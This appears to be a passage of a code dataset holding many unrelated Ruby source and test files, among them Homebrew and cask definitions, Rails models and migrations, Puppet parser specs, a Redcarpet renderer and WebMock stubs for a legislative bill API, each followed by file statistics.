ENV["PYTHONPATH"], XDG_DATA_DIRS: ["#{HOMEBREW_PREFIX}/share", libexec/"share"].join(":") pkgshare.install "zim" end test do ENV["LC_ALL"] = "en_US.UTF-8" ENV["LANG"] = "en_US.UTF-8" mkdir_p %w[Notes/Homebrew HTML] # Equivalent of (except doesn't require user interaction): # zim --plugin quicknote --notebook ./Notes --page Homebrew --basename Homebrew # --text "[[https://brew.sh|Homebrew]]" File.write( "Notes/Homebrew/Homebrew.txt", "Content-Type: text/x-zim-wiki\nWiki-Format: zim 0.4\n" \ "Creation-Date: 2020-03-02T07:17:51+02:00\n\n[[https://brew.sh|Homebrew]]", ) system "#{bin}/zim", "--index", "./Notes" system "#{bin}/zim", "--export", "-r", "-o", "HTML", "./Notes" system "grep", '<a href="https://brew.sh".*Homebrew</a>', "HTML/Homebrew/Homebrew.html" end end
44.322581
134
0.716157
e26752eac2f923d865963784f0d2ca3e766aab85
1,464
class DilHistory < ActiveRecord::Base belongs_to :dil, :class_name => 'Dil', :foreign_key => :dil_id belongs_to :atlanta_operator, :class_name => 'AtlantaOperator', :foreign_key => :atlanta_operator_id belongs_to :atlanta_group, :class_name => 'AtlantaGroup', :foreign_key => :atlanta_group_id validates_presence_of :dil_id validates_numericality_of :dil_id, :allow_nil => false, :only_integer => true validates_presence_of :dil_name validates_length_of :dil_name, :allow_nil => false, :maximum => 30 validates_presence_of :effective_start_date validates_presence_of :effective_end_date validates_presence_of :description validates_length_of :description, :allow_nil => false, :maximum => 255 validates_presence_of :last_modified validates_presence_of :atlanta_operator_id validates_numericality_of :atlanta_operator_id, :allow_nil => false, :only_integer => true validates_presence_of :atlanta_group_id validates_numericality_of :atlanta_group_id, :allow_nil => false, :only_integer => true validates_presence_of :specification_type_code validates_numericality_of :specification_type_code, :allow_nil => false, :only_integer => true validates_numericality_of :application_env_code, :allow_nil => true, :only_integer => true validates_numericality_of :context_code, :allow_nil => true, :only_integer => true validates_length_of :view_name, :allow_nil => true, :maximum => 30 validates_presence_of :dil_specification end
58.56
102
0.798497
ab9c718f0f203f0e55650e6b0a4938f976cd3920
1,396
# coding: utf-8 module RockFintech module Api module Query module MoneyQuery # 资金交易状态查询 # # @return [ Hash ] 结果集 # * :result [String] "S"/"F"/"P" # * :request_params [Hash] 请求参数 # * :response [Object] 请求返回对象 # * :code [String] 结果代码 # * :msg [String] 结果信息 # * :data: 具体业务返回信息 # * :name [String] 姓名 # * :status [String] 订单状态,1(1 充值订单已接受(中间态)、2 发送三方支付通道(中间态)、3 支付通道发送请求失败 网络原因,接口开发原因,终态需要通知客户重新发起(中间态)、4 支付通道受理成功。等待通道异步回调(中间态)、5 支付通道处理成功。回调处理成功,准备记账(中间态)、6 记账失败 需要人为干预,已扣款人工调账,调账调用记账接口(中间态)、7 记账调账交易成功 终态(成功)、8 交易关闭 正常终态(成功)、9 交易关闭 限额预处理失败(失败)、0 三方处理返回失败(失败)、A 账户资金冻结失败(失败)、B 支付通道处理失败(失败)、C 主动对账,支付通道无响应(中间态),当订单状态为8时,为资金到账 # * :bind_card [Stroutg] 电子账户绑定卡号 # * :amount [Stroutg] 操作金额 # * :order_time [Stroutg] 下单时间 # * :error_code [Stroutg] 失败错误码 # * :error_msg [Stroutg] 失败错误信息 # * :remark [Stroutg] 备注 # def money_query(order_id, devise='000001', remark='') service = 'money_query' params = { order_id: order_id, client: devise, custom: remark, } res = operate_post(:query, service, params, Http::ErrorCode.money_query, ['RD000000']) res end end end end end
31.022222
337
0.534384
e9ff0298f4c6291f0b5aa0edf4f8925354419bed
290
# This migration comes from user_group (originally 20120927143037) class CreateGroups < ActiveRecord::Migration def change create_table :groups do |t| t.string :name t.string :description t.timestamps end add_index :groups, :name, :unique => true end end
22.307692
66
0.696552
3964f6324731f506d16c1a968361d59a97b13860
106
json.extract! item, :id, :label, :bought, :created_at, :updated_at json.url item_url(item, format: :json)
35.333333
66
0.726415
1c5c7f224d562f03f007719082763f8c7590d873
675
cask 'flash-player' do version '32.0.0.255' sha256 'fde13429546e81402f3aefe5a3580c787d3635b7b2a68868af9c15c11c344290' url "https://fpdownload.adobe.com/pub/flashplayer/updaters/#{version.major}/flashplayer_#{version.major}_sa.dmg" appcast 'https://fpdownload.adobe.com/pub/flashplayer/update/current/xml/version_en_mac_pl.xml', configuration: version.tr('.', ',') name 'Adobe Flash Player projector' homepage 'https://www.adobe.com/support/flashplayer/debug_downloads.html' app 'Flash Player.app' zap trash: [ '~/Library/Caches/Adobe/Flash Player', '~/Library/Logs/FlashPlayerInstallManager.log', ] end
37.5
114
0.70963
21a6c85c5a2acae9a7e389fdc7a441b2b406001c
2,414
module Bundler # used for Creating Specifications from the Gemcutter Endpoint class EndpointSpecification < Gem::Specification include MatchPlatform attr_reader :name, :version, :platform, :dependencies attr_accessor :source, :remote def initialize(name, version, platform, dependencies) @name = name @version = version @platform = platform @dependencies = dependencies end def fetch_platform @platform end # needed for standalone, load required_paths from local gemspec # after the gem is installed def require_paths if @remote_specification @remote_specification.require_paths elsif _local_specification _local_specification.require_paths else super end end # needed for inline def load_paths # remote specs aren't installed, and can't have load_paths if _local_specification _local_specification.load_paths else super end end # needed for binstubs def executables if @remote_specification @remote_specification.executables elsif _local_specification _local_specification.executables else super end end # needed for bundle clean def bindir if @remote_specification @remote_specification.bindir elsif _local_specification _local_specification.bindir else super end end # needed for post_install_messages during install def post_install_message if @remote_specification @remote_specification.post_install_message elsif _local_specification _local_specification.post_install_message end end # needed for "with native extensions" during install def extensions if @remote_specification @remote_specification.extensions elsif _local_specification _local_specification.extensions end end def _local_specification if @loaded_from && File.exist?(local_specification_path) eval(File.read(local_specification_path)).tap do |spec| spec.loaded_from = @loaded_from end end end def __swap__(spec) @remote_specification = spec end private def local_specification_path "#{base_dir}/specifications/#{full_name}.gemspec" end end end
23.90099
67
0.674814
bb2d06354648bc341d5f0b281ecc85cd7132d39c
1,563
Pod::Spec.new do |s| s.name = 'JustTweak' s.version = '6.2.0' s.summary = 'A framework for feature flagging, locally and remotely configure and A/B test iOS apps.' s.description = <<-DESC JustTweak is a framework for feature flagging, locally and remotely configure and A/B test iOS apps. DESC s.homepage = 'https://github.com/justeat/JustTweak' s.license = { :type => 'Apache 2.0', :file => 'LICENSE' } s.authors = { 'Gianluca Tranchedone' => '[email protected]', 'Alberto De Bortoli' => '[email protected]', 'Andrew Steven Grant' => '[email protected]', 'Dimitar Chakarov' => '[email protected]' } s.source = { :git => 'https://github.com/justeat/JustTweak.git', :tag => s.version.to_s } s.ios.deployment_target = '11.0' s.swift_version = '5.1' s.source_files = 'JustTweak/Classes/**/*.swift' s.resource_bundle = { 'JustTweak' => 'JustTweak/Assets/en.lproj/*' } s.preserve_paths = [ '_TweakAccessorGenerator', ] # Ensure the generator script are callable via # ${PODS_ROOT}/<name> s.prepare_command = <<-PREPARE_COMMAND_END cp -f ./JustTweak/Assets/TweakAccessorGenerator.bundle/TweakAccessorGenerator ./_TweakAccessorGenerator PREPARE_COMMAND_END end
43.416667
119
0.579015
911b22ddf93f63b5818d0981b26bd58d5f949251
39
module Onebox VERSION = "1.5.29" end
9.75
20
0.666667
ff2008b77ac97ae2cf010a86c8f84039bf67fbec
1,904
require 'test_helper' require 'commit_parser' class CommitParserTest < Test::Unit::TestCase def test_extract_without_ticket assert_equal({}, CommitParser.extract_items_with_actions('simple commit')) end def test_extract_with_single_ticket result = {38209 => {:action => :cmd_close}} assert_equal(result, CommitParser.extract_items_with_actions('Changes :). Fixes #38209')) end def test_extract_single_action_with_multiple_tickets result = {38209 => {:action => :cmd_close}, 23 => {:action => :cmd_close}} assert_equal result, CommitParser.extract_items_with_actions('Fixing tag form when creating items. Fixes #38209, #23') end def test_multiple_actions_and_multiple_tickets result = {12 => {:action => :cmd_close}, 10 => {:action => :cmd_close}, 14 => {:action => :cmd_ref}} assert_equal result, CommitParser.extract_items_with_actions('Changed blah and foo to do this or that. Fixes #10 and #12, and refs #14.') end def test_multiline_with_ticket result = {38209 => {:action => :cmd_ref}} assert_equal result, CommitParser.extract_items_with_actions("Cool commit\nDoing some explaining.\n References #38209") end def test_process_commit commit_log = Yajl::Parser.parse(fixture_file('sample_payload.json')) parsed_commit = CommitParser.parse_commit(commit_log['commits'][1]) assert_equal :cmd_close, parsed_commit[60097][:action] assert_equal "(Chris Wanstrath, in [[de8251]](http://github.com/defunkt/github/commit/de8251ff97ee194a289832576287d6f8ad74e3d0)) update pricing a tad. Fixes #60097, refs #60095", parsed_commit[60097][:comment] assert_equal :cmd_ref, parsed_commit[60095][:action] assert_equal "(Chris Wanstrath, in [[de8251]](http://github.com/defunkt/github/commit/de8251ff97ee194a289832576287d6f8ad74e3d0)) update pricing a tad. Fixes #60097, refs #60095", parsed_commit[60095][:comment] end end
47.6
213
0.75105
bb956c8c03424f79a78c2d4d7a996e79ae84581c
1,405
require "test_helper" require "thread" require "glass_octopus/connection/ruby_kafka_adapter" class GlassOctopus::RubyKafkaAdapterTest < Minitest::Test TOPIC = "test_topic".freeze GROUP = "test_group".freeze KAFKA_HOST = "localhost:29092" attr_reader :client, :producer def teardown @client.close if @client end def test_validate_options ex = assert_raises(GlassOctopus::OptionsInvalid) { GlassOctopus::RubyKafkaAdapter.new {} } assert_includes ex.errors, "Missing key: broker_list" assert_includes ex.errors, "Missing key: group_id" assert_includes ex.errors, "Missing key: topic" end def test_fetch_message_yield_messages integration_test! send_message("key", "value") adapter = create_adapter.connect q = Queue.new Thread.new { q.pop; adapter.close } adapter.fetch_message do |message| assert_equal "value", message.value assert_equal "key", message.key assert_equal TOPIC, message.topic assert_equal 0, message.partition q << :done end end def send_message(key, value) @client ||= Kafka.new(seed_brokers: [KAFKA_HOST]) @client.deliver_message(value, key: key, topic: TOPIC, partition: 0) end def create_adapter GlassOctopus::RubyKafkaAdapter.new do |config| config.broker_list = [KAFKA_HOST] config.topic = TOPIC config.group_id = GROUP end end end
24.649123
94
0.712456
ffaf75e376270c6f936594fadd8a7e0d2e794e05
1,583
# encoding: utf-8 class PictureUploader < CarrierWave::Uploader::Base # Include RMagick or MiniMagick support: # include CarrierWave::RMagick include CarrierWave::MiniMagick process resize_to_limit: [400,400] # Choose what kind of storage to use for this uploader: if Rails.env.production? storage :fog else storage :file end # Override the directory where uploaded files will be stored. # This is a sensible default for uploaders that are meant to be mounted: def store_dir "uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}" end # Provide a default URL as a default if there hasn't been a file uploaded: # def default_url # # For Rails 3.1+ asset pipeline compatibility: # # ActionController::Base.helpers.asset_path("fallback/" + [version_name, "default.png"].compact.join('_')) # # "/images/fallback/" + [version_name, "default.png"].compact.join('_') # end # Process files as they are uploaded: # process :scale => [200, 300] # # def scale(width, height) # # do something # end # Create different versions of your uploaded files: # version :thumb do # process :resize_to_fit => [50, 50] # end # Add a white list of extensions which are allowed to be uploaded. # For images you might use something like this: def extension_white_list %w(jpg jpeg gif png) end # Override the filename of the uploaded files: # Avoid using model.id or version_name here, see uploader/store.rb for details. # def filename # "something.jpg" if original_filename # end end
28.267857
112
0.699305
ff3fed5e91575e9be46787c692b149f515bd63c3
13,628
#!/usr/bin/env rspec require 'spec_helper' describe Puppet::Parser::AST::Leaf do before :each do @scope = stub 'scope' @value = stub 'value' @leaf = Puppet::Parser::AST::Leaf.new(:value => @value) end it "should have a evaluate_match method" do Puppet::Parser::AST::Leaf.new(:value => "value").should respond_to(:evaluate_match) end describe "when converting to string" do it "should transform its value to string" do value = stub 'value', :is_a? => true value.expects(:to_s) Puppet::Parser::AST::Leaf.new( :value => value ).to_s end end it "should have a match method" do @leaf.should respond_to(:match) end it "should delegate match to ==" do @value.expects(:==).with("value") @leaf.match("value") end end describe Puppet::Parser::AST::FlatString do describe "when converting to string" do it "should transform its value to a quoted string" do value = stub 'value', :is_a? => true, :to_s => "ab" Puppet::Parser::AST::FlatString.new( :value => value ).to_s.should == "\"ab\"" end end end describe Puppet::Parser::AST::String do describe "when converting to string" do it "should transform its value to a quoted string" do value = stub 'value', :is_a? => true, :to_s => "ab" Puppet::Parser::AST::String.new( :value => value ).to_s.should == "\"ab\"" end it "should return a dup of its value" do value = "" Puppet::Parser::AST::String.new( :value => value ).evaluate(stub('scope')).should_not be_equal(value) end end end describe Puppet::Parser::AST::Concat do describe "when evaluating" do before :each do @scope = stub_everything 'scope' end it "should interpolate variables and concatenate their values" do one = Puppet::Parser::AST::String.new(:value => "one") one.stubs(:evaluate).returns("one ") two = Puppet::Parser::AST::String.new(:value => "two") two.stubs(:evaluate).returns(" two ") three = Puppet::Parser::AST::String.new(:value => "three") three.stubs(:evaluate).returns(" three") var = Puppet::Parser::AST::Variable.new(:value => "myvar") var.stubs(:evaluate).returns("foo") array = Puppet::Parser::AST::Variable.new(:value => "array") array.stubs(:evaluate).returns(["bar","baz"]) concat = Puppet::Parser::AST::Concat.new(:value => [one,var,two,array,three]) concat.evaluate(@scope).should == 'one foo two barbaz three' end it "should transform undef variables to empty string" do var = Puppet::Parser::AST::Variable.new(:value => "myvar") var.stubs(:evaluate).returns(:undef) concat = Puppet::Parser::AST::Concat.new(:value => [var]) concat.evaluate(@scope).should == '' end end end describe Puppet::Parser::AST::Undef do before :each do @scope = stub 'scope' @undef = Puppet::Parser::AST::Undef.new(:value => :undef) end it "should match undef with undef" do @undef.evaluate_match(:undef, @scope).should be_true end it "should not match undef with an empty string" do @undef.evaluate_match("", @scope).should be_false end end describe Puppet::Parser::AST::HashOrArrayAccess do before :each do @scope = stub 'scope' end describe "when evaluating" do it "should evaluate the variable part if necessary" do @scope.stubs(:lookupvar).with { |name,options| name == 'a'}.returns(["b"]) variable = stub 'variable', :evaluate => "a" access = Puppet::Parser::AST::HashOrArrayAccess.new(:variable => variable, :key => 0 ) variable.expects(:safeevaluate).with(@scope).returns("a") access.evaluate(@scope).should == "b" end it "should evaluate the access key part if necessary" do @scope.stubs(:lookupvar).with { |name,options| name == 'a'}.returns(["b"]) index = stub 'index', :evaluate => 0 access = Puppet::Parser::AST::HashOrArrayAccess.new(:variable => "a", :key => index ) index.expects(:safeevaluate).with(@scope).returns(0) access.evaluate(@scope).should == "b" end it "should be able to return an array member" do @scope.stubs(:lookupvar).with { |name,options| name == 'a'}.returns(["val1", "val2", "val3"]) access = Puppet::Parser::AST::HashOrArrayAccess.new(:variable => "a", :key => 1 ) access.evaluate(@scope).should == "val2" end it "should be able to return an array member when index is a stringified number" do @scope.stubs(:lookupvar).with { |name,options| name == "a" }.returns(["val1", "val2", "val3"]) access = Puppet::Parser::AST::HashOrArrayAccess.new(:variable => "a", :key => "1" ) access.evaluate(@scope).should == "val2" end it "should raise an error when accessing an array with a key" do @scope.stubs(:lookupvar).with { |name,options| name == "a"}.returns(["val1", "val2", "val3"]) access = Puppet::Parser::AST::HashOrArrayAccess.new(:variable => "a", :key => "get_me_the_second_element_please" ) lambda { access.evaluate(@scope) }.should raise_error end it "should be able to return an hash value" do @scope.stubs(:lookupvar).with { |name,options| name == 'a'}.returns({ "key1" => "val1", "key2" => "val2", "key3" => "val3" }) access = Puppet::Parser::AST::HashOrArrayAccess.new(:variable => "a", :key => "key2" ) access.evaluate(@scope).should == "val2" end it "should be able to return an hash value with a numerical key" do @scope.stubs(:lookupvar).with { |name,options| name == "a"}.returns({ "key1" => "val1", "key2" => "val2", "45" => "45", "key3" => "val3" }) access = Puppet::Parser::AST::HashOrArrayAccess.new(:variable => "a", :key => "45" ) access.evaluate(@scope).should == "45" end it "should raise an error if the variable lookup didn't return an hash or an array" do @scope.stubs(:lookupvar).with { |name,options| name == "a"}.returns("I'm a string") access = Puppet::Parser::AST::HashOrArrayAccess.new(:variable => "a", :key => "key2" ) lambda { access.evaluate(@scope) }.should raise_error end it "should raise an error if the variable wasn't in the scope" do @scope.stubs(:lookupvar).with { |name,options| name == 'a'}.returns(nil) access = Puppet::Parser::AST::HashOrArrayAccess.new(:variable => "a", :key => "key2" ) lambda { access.evaluate(@scope) }.should raise_error end it "should return a correct string representation" do access = Puppet::Parser::AST::HashOrArrayAccess.new(:variable => "a", :key => "key2" ) access.to_s.should == '$a[key2]' end it "should work with recursive hash access" do @scope.stubs(:lookupvar).with { |name,options| name == 'a'}.returns({ "key" => { "subkey" => "b" }}) access1 = Puppet::Parser::AST::HashOrArrayAccess.new(:variable => "a", :key => "key") access2 = Puppet::Parser::AST::HashOrArrayAccess.new(:variable => access1, :key => "subkey") access2.evaluate(@scope).should == 'b' end it "should work with interleaved array and hash access" do @scope.stubs(:lookupvar).with { |name,options| name == 'a'}.returns({ "key" => [ "a" , "b" ]}) access1 = Puppet::Parser::AST::HashOrArrayAccess.new(:variable => "a", :key => "key") access2 = Puppet::Parser::AST::HashOrArrayAccess.new(:variable => access1, :key => 1) access2.evaluate(@scope).should == 'b' end end describe "when assigning" do it "should add a new key and value" do scope = Puppet::Parser::Scope.new scope.setvar("a", { 'a' => 'b' }) access = Puppet::Parser::AST::HashOrArrayAccess.new(:variable => "a", :key => "b") access.assign(scope, "c" ) scope.lookupvar("a").should be_include("b") end it "should raise an error when assigning an array element with a key" do @scope.stubs(:lookupvar).with { |name,options| name == "a"}.returns([]) access = Puppet::Parser::AST::HashOrArrayAccess.new(:variable => "a", :key => "get_me_the_second_element_please" ) lambda { access.assign(@scope, "test") }.should raise_error end it "should be able to return an array member when index is a stringified number" do scope = Puppet::Parser::Scope.new scope.setvar("a", []) access = Puppet::Parser::AST::HashOrArrayAccess.new(:variable => "a", :key => "0" ) access.assign(scope, "val2") scope.lookupvar("a").should == ["val2"] end it "should raise an error when trying to overwrite an hash value" do @scope.stubs(:lookupvar).with { |name,options| name == "a" }.returns({ "key" => [ "a" , "b" ]}) access = Puppet::Parser::AST::HashOrArrayAccess.new(:variable => "a", :key => "key") lambda { access.assign(@scope, "test") }.should raise_error end end end describe Puppet::Parser::AST::Regex do before :each do @scope = stub 'scope' end describe "when initializing" do it "should create a Regexp with its content when value is not a Regexp" do Regexp.expects(:new).with("/ab/") Puppet::Parser::AST::Regex.new :value => "/ab/" end it "should not create a Regexp with its content when value is a Regexp" do value = Regexp.new("/ab/") Regexp.expects(:new).with("/ab/").never Puppet::Parser::AST::Regex.new :value => value end end describe "when evaluating" do it "should return self" do val = Puppet::Parser::AST::Regex.new :value => "/ab/" val.evaluate(@scope).should === val end end describe "when evaluate_match" do before :each do @value = stub 'regex' @value.stubs(:match).with("value").returns(true) Regexp.stubs(:new).returns(@value) @regex = Puppet::Parser::AST::Regex.new :value => "/ab/" end it "should issue the regexp match" do @value.expects(:match).with("value") @regex.evaluate_match("value", @scope) end it "should not downcase the paramater value" do @value.expects(:match).with("VaLuE") @regex.evaluate_match("VaLuE", @scope) end it "should set ephemeral scope vars if there is a match" do @scope.expects(:ephemeral_from).with(true, nil, nil) @regex.evaluate_match("value", @scope) end it "should return the match to the caller" do @value.stubs(:match).with("value").returns(:match) @scope.stubs(:ephemeral_from) @regex.evaluate_match("value", @scope) end end it "should return the regex source with to_s" do regex = stub 'regex' Regexp.stubs(:new).returns(regex) val = Puppet::Parser::AST::Regex.new :value => "/ab/" regex.expects(:source) val.to_s end it "should delegate match to the underlying regexp match method" do regex = Regexp.new("/ab/") val = Puppet::Parser::AST::Regex.new :value => regex regex.expects(:match).with("value") val.match("value") end end describe Puppet::Parser::AST::Variable do before :each do @scope = stub 'scope' @var = Puppet::Parser::AST::Variable.new(:value => "myvar", :file => 'my.pp', :line => 222) end it "should lookup the variable in scope" do @scope.expects(:lookupvar).with { |name,options| name == "myvar" }.returns(:myvalue) @var.safeevaluate(@scope).should == :myvalue end it "should pass the source location to lookupvar" do @scope.expects(:lookupvar).with { |name,options| name == "myvar" and options[:file] == 'my.pp' and options[:line] == 222 }.returns(:myvalue) @var.safeevaluate(@scope).should == :myvalue end it "should return undef if the variable wasn't set" do @scope.expects(:lookupvar).with { |name,options| name == "myvar" }.returns(:undefined) @var.safeevaluate(@scope).should == :undef end describe "when converting to string" do it "should transform its value to a variable" do value = stub 'value', :is_a? => true, :to_s => "myvar" Puppet::Parser::AST::Variable.new( :value => value ).to_s.should == "\$myvar" end end end describe Puppet::Parser::AST::HostName do before :each do @scope = stub 'scope' @value = stub 'value', :=~ => false @value.stubs(:to_s).returns(@value) @value.stubs(:downcase).returns(@value) @host = Puppet::Parser::AST::HostName.new( :value => @value) end it "should raise an error if hostname is not valid" do lambda { Puppet::Parser::AST::HostName.new( :value => "not an hostname!" ) }.should raise_error end it "should not raise an error if hostname is a regex" do lambda { Puppet::Parser::AST::HostName.new( :value => Puppet::Parser::AST::Regex.new(:value => "/test/") ) }.should_not raise_error end it "should stringify the value" do value = stub 'value', :=~ => false value.expects(:to_s).returns("test") Puppet::Parser::AST::HostName.new(:value => value) end it "should downcase the value" do value = stub 'value', :=~ => false value.stubs(:to_s).returns("UPCASED") host = Puppet::Parser::AST::HostName.new(:value => value) host.value == "upcased" end it "should evaluate to its value" do @host.evaluate(@scope).should == @value end it "should delegate eql? to the underlying value if it is an HostName" do @value.expects(:eql?).with("value") @host.eql?("value") end it "should delegate eql? to the underlying value if it is not an HostName" do value = stub 'compared', :is_a? => true, :value => "value" @value.expects(:eql?).with("value") @host.eql?(value) end it "should delegate hash to the underlying value" do @value.expects(:hash) @host.hash end end
32.997579
145
0.631934
5d915d4933e2cbad6a109c5c9bb75e7637fc1523
1,150
# # render.rb: Extend Redcarpet renderer with Alongslide syntax. # # Good resource for extending Redcarpet: # http://dev.af83.com/2012/02/27/howto-extend-the-redcarpet2-markdown-lib.html # # Copyright 2013 Canopy Canopy Canopy, Inc. # Author Adam Florin # require 'redcarpet' module Redcarpet module Render class Alongslide < HTML # Run through all indented blocks (normally treated as code blocks) # for Alongslide block definitions. # # @param text is raw Markdown # @param language is ignored # def block_code(text, language) ::Alongslide::render_block text end def footnote_def(text, number) # example args # # "<p>Here is the text of the footnote</p>\n", 1 "<div id='fn#{number}' class='als-footnote'>#{text.insert(3,number.to_s+' ')}</p></div>" end def footnotes(text) "<div class='als-footnotes'>"+text+"</div>" end def footnote_ref(number) "<sup id='fnref#{number}' class='als-fn-sup'><span class='als-fn-ref' data-anchor='#fn#{number}'>#{number}</span></sup>" end end end end
26.136364
128
0.623478
f78e217664fd53172f48643d10e8a1e527e42467
671
# frozen_string_literal: true require 'application_system_test_case' class Footprint::ProductsTest < ApplicationSystemTestCase test 'should be create footprint in product page' do login_user 'komagata', 'testtest' product = users(:yamada).products.first visit product_path(product) assert_text '見たよ' assert page.has_css?('.footprints-item__checker-icon.is-komagata') end test 'should not footpoint with my own product' do login_user 'yamada', 'testtest' product = users(:yamada).products.first visit product_path(product) assert_no_text '見たよ' assert_not page.has_css?('.footprints-item__checker-icon.is-yamada') end end
30.5
72
0.749627
1a4e537fe3f7d580953c59999b0dc7f650944b2d
953
require 'aws-sdk' module Tfrb::Resource::AwsElasticacheSubnetGroup extend Tfrb::Resource def self.preload(base, environment_name, resource_type, new_resources) new_resources.each do |resource_name, resource| set_default(resource, 'name', resource_name.gsub('_', ' ')) end end def self.load(base, environment_name, resource_type, new_resources) new_resources.each do |resource_name, resource| client = ::Aws::ElastiCache::Client.new(aws_options(base, resource)) begin response = client.describe_cache_subnet_groups({ cache_subnet_group_name: resource_name }) if response.cache_subnet_groups.size >= 1 id = response.cache_subnet_groups.first.cache_subnet_group_name import!(base, resource_type, resource_name, id) end rescue ::Aws::ElastiCache::Errors::CacheSubnetGroupNotFoundFault # Does not exist to import end end end end
32.862069
74
0.705142
6a5bb0bf95e44b34050fd8d76290915f12c464d0
1,620
require_relative 'spec_helper' # http://adventofcode.com/2017/day/6 describe Day6 do describe "part1" do it "scenario 1" do input = "0\t2\t7\t0" expected = 5 actual = Day6.part1(input) actual.must_equal(expected) end end describe "part2" do it "scenario 1" do input = "0\t2\t7\t0" expected = 4 actual = Day6.part2(input) actual.must_equal(expected) end end describe "redistribute" do it "should redistribute according to the rules" do input = [0, 2, 7, 0] day = Day6.new(input) expected0 = [0, 2, 7, 0] day.banks.must_equal expected0 day.redistribute! expected1 = [2, 4, 1, 2] day.banks.must_equal expected1 day.redistribute! expected2 = [3, 1, 2, 3] day.banks.must_equal expected2 day.redistribute! expected3 = [0, 2, 3, 4] day.banks.must_equal expected3 day.redistribute! expected4 = [1, 3, 4, 1] day.banks.must_equal expected4 day.redistribute! expected5 = [2, 4, 1, 2] day.banks.must_equal expected5 end end describe "has_looped?" do it "should return true when loop is detected" do input = [0, 2, 7, 0] day = Day6.new(input) day.has_looped?.must_equal false day.redistribute! day.has_looped?.must_equal false day.redistribute! day.has_looped?.must_equal false day.redistribute! day.has_looped?.must_equal false day.redistribute! day.has_looped?.must_equal false day.redistribute! day.has_looped?.must_equal true end end end
25.3125
54
0.621605
21309e023523c1b6020c71ac594d91e01cf31aa1
197
class DropCategoryIdFromProducts < ActiveRecord::Migration def self.up remove_column :products, :category_id end def self.down add_column :products, :category_id, :integer end end
19.7
58
0.756345
6a0b02dbedc6c7022fc139ae1f0279264191abd1
509
#encoding: utf-8 require "model-base" class DeviceData include DataMapper::Resource include Utils::DataMapper::Model #extend Utils::DataMapper::Model property :id , Serial property :input , Text property :remain , String property :type , String property :money , String property :time , String property :simulator , Boolean , :default => false belongs_to :device # ins1tance methods def human_name "设备数据" end end
22.130435
53
0.628684
010fa41dc436b82d95493d722b9a02fbd9a9b6a0
11,863
def mock_bill() response = '{ "uid": "6967-06", "short_uid": "6967", "title": "Declara feriado el día 7 de junio para la Región de Arica y Parinacota. ", "creation_date": "2010-06-02T00:00:00Z", "stage": "Tramitación terminada", "sub_stage": " / ", "authors": [ "Ascencio Mansilla, Gabriel", "Auth Stewart, Pepe", "Baltolu Rasera, Nino", "Campos Jara, Cristián", "Jaramillo Becker, Enrique", "Lorenzini Basso, Pablo", "Núñez Lozano, Marco Antonio", "Pérez Arriagada, José", "Tuma Zedan, Joaquín", "Vargas Pizarro, Orlando" ], "publish_date": "2013-04-30T00:00:00Z", "tags": [ "arica", "feriado", "feriados regionales" ], "paperworks": [ { "created_at": "2014-04-10T20:03:07Z", "date": "2012-04-12T00:00:00+00:00", "updated_at": "2014-04-10T20:07:18Z", "bill_uid": "6967-06", "timeline_status": "Estado por Defecto", "_links": { "self": { "href": "http://127.0.0.1.xip.io:3003/paperworks/5346f670683ff8a1dd000001" }, "bill": { "href": "http://127.0.0.1.xip.io:3003/bills/6967-06" } } }, { "created_at": "2014-04-10T20:12:26Z", "date": "2013-03-12T00:00:00+00:00", "updated_at": "2014-04-10T20:22:32Z", "bill_uid": "6967-06", "timeline_status": "Estado por Defecto", "_links": { "self": { "href": "http://127.0.0.1.xip.io:3003/paperworks/5346fb0f683ff8a1dd000003" }, "bill": { "href": "http://127.0.0.1.xip.io:3003/bills/6967-06" } } }, { "created_at": "2014-04-10T20:24:21Z", "date": "2013-03-13T00:00:00+00:00", "updated_at": "2014-04-10T20:24:45Z", "bill_uid": "6967-06", "timeline_status": "Estado por Defecto", "_links": { "self": { "href": "http://127.0.0.1.xip.io:3003/paperworks/5346fddf683ff8a1dd000004" }, "bill": { "href": "http://127.0.0.1.xip.io:3003/bills/6967-06" } } }, { "created_at": "2014-04-10T20:26:59Z", "date": "2013-03-14T00:00:00+00:00", "updated_at": "2014-04-10T20:26:59Z", "bill_uid": "6967-06", "timeline_status": "Estado por Defecto", "_links": { "self": { "href": "http://127.0.0.1.xip.io:3003/paperworks/5346fe65683ff8a1dd000005" }, "bill": { "href": "http://127.0.0.1.xip.io:3003/bills/6967-06" } } }, { "created_at": "2014-04-10T20:28:46Z", "date": "2013-03-15T00:00:00+00:00", "updated_at": "2014-04-10T20:28:46Z", "bill_uid": "6967-06", "timeline_status": "Estado por Defecto", "_links": { "self": { "href": "http://127.0.0.1.xip.io:3003/paperworks/5346fee1683ff8a1dd000007" }, "bill": { "href": "http://127.0.0.1.xip.io:3003/bills/6967-06" } } }, { "created_at": "2014-04-10T20:29:48Z", "date": "2013-01-13T00:00:00+00:00", "updated_at": "2014-04-10T20:30:48Z", "bill_uid": "6967-06", "timeline_status": "Estado por Defecto", "_links": { "self": { "href": "http://127.0.0.1.xip.io:3003/paperworks/5346ff11683ff8a1dd000008" }, "bill": { "href": "http://127.0.0.1.xip.io:3003/bills/6967-06" } } } ], "priorities": [ ], "reports": [ ], "documents": [ ], "directives": [ ], "remarks": [ ], "revisions": [ ], "_links": { "self": { "href": "http://billit.ciudadanointeligente.org/bills/6967-06" }, "law_xml": { "href": "http://www.leychile.cl/Consulta/obtxml?opt=7&idLey=20663" }, "law_web": { "href": "http://www.leychile.cl/Navegar?idLey=20663" }, "bill_draft": { "href": "http://www.senado.cl/appsenado/index.php?mo=tramitacion&ac=getDocto&iddocto=7370&tipodoc=mensaje_mocion" } } }' stub_request(:get, ENV['billit_url'] + "6967-06.json") .to_return(:body => response) end def mock_put() response = '{ "uid": "6967-06", "short_uid": "6967", "title": "Declara feriado el día 7 de junio para la Región de Arica y Parinacota. ", "creation_date": "2010-06-02T00:00:00Z", "stage": "Tramitación terminada", "sub_stage": " / ", "authors": [ "Ascencio Mansilla, Gabriel", "Auth Stewart, Pepe", "Baltolu Rasera, Nino", "Campos Jara, Cristián", "Jaramillo Becker, Enrique", "Lorenzini Basso, Pablo", "Núñez Lozano, Marco Antonio", "Pérez Arriagada, José", "Tuma Zedan, Joaquín", "Vargas Pizarro, Orlando" ], "publish_date": "2013-04-30T00:00:00Z", "tags": [ "ola", "chao" ], "paperworks": [ { "created_at": "2014-04-10T20:03:07Z", "date": "2012-04-12T00:00:00+00:00", "updated_at": "2014-04-10T20:07:18Z", "bill_uid": "6967-06", "timeline_status": "Estado por Defecto", "_links": { "self": { "href": 